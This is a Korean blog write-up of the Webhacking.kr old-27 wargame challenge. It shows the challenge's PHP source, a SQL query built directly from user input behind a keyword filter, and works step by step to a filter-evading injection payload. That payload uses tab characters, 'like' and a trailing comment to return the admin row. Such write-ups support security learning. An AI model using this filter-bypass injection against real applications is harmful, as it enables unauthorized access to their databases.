Webhacking

[Webhacking.kr] old-27번 풀이

aeeazip 2022. 12. 22. 23:02

링크로 들어가면 27번 문제를 확인할 수 있다.

문제 사진

 

누가봐도 Sql injection 문제라고 힌트를 줬다ㅎㅎ

소스코드를 봐야겠담

 

 

 

 

 

소스코드


<?php
  include "../../config.php";
  if($_GET['view_source']) view_source();
?>
<html>
<head>
<title>Challenge 27</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get action=index.php>
<input type=text name=no><input type=submit>
</form>
<?php
  if($_GET['no']){
  $db = dbconnect();
  if(preg_match("/#|select|\(| |limit|=|0x/i",$_GET['no'])) exit("no hack");
  $r=mysqli_fetch_array(mysqli_query($db,"select id from chall27 where id='guest' and no=({$_GET['no']})")) or die("query error");
  if($r['id']=="guest") echo("guest");
  if($r['id']=="admin") solve(27); // admin's no = 2
}
?>
<br>
<a href=?view_source=1>view-source</a>
</body>
</html>

문제에서 SQL injection 이라는 힌트를 주었기 때문에 sql 쿼리문을 중심으로 볼 예정이다.

쿼리문이 등장하는 두 번째 php문을 따로 떼어서 보자!

if($_GET['no']){
  $db = dbconnect();
  if(preg_match("/#|select|\(| |limit|=|0x/i",$_GET['no'])) exit("no hack");
  $r=mysqli_fetch_array(mysqli_query($db,"select id from chall27 where id='guest' and no=({$_GET['no']})")) or die("query error");
  if($r['id']=="guest") echo("guest");
  if($r['id']=="admin") solve(27); // admin's no = 2
}

get 방식으로 전달된 변수 no가 값이 있다면

preg_match("/#|select|\(| |limit|=|0x/i",$_GET['no'])

변수 no값을 검사 # select 공백 limit = 0x 값이 포함 no hack이 출력

바로 밑의 문장 속 쿼리를 자세히 보자!


select id from chall27 where id='guest' and no=({$_GET['no']})"))

chal127 테이블에서

조건 ① id=guest

        ② no=(입력값)

위의 두 조건을 동시에 만족하는 id를 선택 r에 담는다.

 

마지막 두 개의 if문은

① (id = guest) guest를 출력

② (id = admin) solve

 

!!!! 문제를 풀기 위해선 id값을 admin으로 변경하면 되지만 이미 id값이 guest로 고정 !!!!

따라서 쿼리문 조건을 FALSE OR TRUE → TRUE로 만들기 위해 no값의 조작이 필요하다.

쿼리문의 where 조건을 id='guest' and no=(-1) or no = 2로 만들면 된다.

ex) select id from chall27 where id='guest' and no=(-1) or no = 2

FALSE TRUE TRUE

그런데 preg_match 함수로 필터링 걸려있는 문자가 많기 때문에 조건식에 변환이 필요하다.

 

 

 

 

 

 

 

해결


변환 전 : no=(-1) or no = 2

필터링 대상 문자열 : # select 공백 limit = 0x

① 띄어쓰기 → %09

no=(-1)%09or%09no%09=%092

 

② = → like

no=(-1)%09or%09no%09like%092

 

select id from chall27 where id='guest' and no=({$_GET['no']})

그런데 where조건 마지막에 닫는 괄호가 하나 더 있다.

따라서 ~no = 2 )~~ 2 뒷부분을 주석처리해주기 위해 필터링 된 #을 대신해 --을 사용한다.

 

③ # → --

no=(-1)%09or%09no%09like%092--

 

-- 뒤에 공백이 들어가지 않으면 주석처리가 되지 않기 때문에 이 부분을 주의해주어야한다.

마지막으로 공백을 추가하면

no=(-1)%09or%09no%09like%092--%09 이런 결과가 나온다.

 

where no 조건은 no=( 이런 모양으로 시작되기 때문에 처음에 여는 괄호는 url에 추가하지 않아도 된다.

(no 값은 get방식으로 전달되니까 url 이용)

따라서 url에 ?no=-1)%09or%09no%09like%092--%09을 추가하면 문제가 풀린다.